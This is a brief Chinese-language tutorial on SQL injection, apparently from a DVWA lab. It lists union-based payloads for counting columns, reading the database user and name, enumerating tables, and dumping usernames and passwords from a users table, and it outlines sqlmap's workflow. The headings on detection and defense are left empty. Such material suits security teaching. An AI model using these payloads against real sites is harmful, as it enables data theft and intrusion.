1、SQL注入
- 在输入的字符串中注入SQL指令,而在设计不良的程序中忽略了字符检查,数据库服务器就会认为这些指令是正常的SQL指令而运行。(改变原有的SQL语句)
2、SQL是什么?
3、如何判断存在SQL注入漏洞?
4、如何利用SQL注入漏洞?
- 判断列/字段数 order by [column_num],例如:
1' order by 1# // 正常输出
1' order by 2# // 正常输出
1' order by 3# // 网页报错
// 证明该数据库表有2列/字段,即存在SQL注入漏洞。
- 联合查询其他信息 union select [sql1] [sql2],例如:
1' union select user(),database()#
- 【注】union联合查询:一次查询两个。
- 执行了MySQL内置函数user()和database()。
- user():返回当前数据库连接用户。
- database():返回当前数据库名称。
- 联合查询表 union select table_name,table_schema from information_schema.tables where table_schema = '[database_name]',例如:
1' union select table_name,table_schema from information_schema.tables
where table_schema = 'dvwa'#
// 查询dvwa数据库中有哪些表。
- 联合查询信息 union [query_sql],例如:
1' union select user,password from users#
// 从users表中查询用户名和密码。
5、SQLmap
- SQLmap能把复杂的SQL注入语句自动化利用。
- 官网:sqlmap.org
- 下载使用方法:
- 下载源代码,直接使用python运行sqlmap.py。
- 安装kali操作系统,kali自带sqlmap,可直接输入sqlmap执行。
- 过程:
- 检测漏洞
- 获取数据库名
- 获取指定数据库表
- 获取指定数据库列/表项
- 获取数据
6、SQL注入防御
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)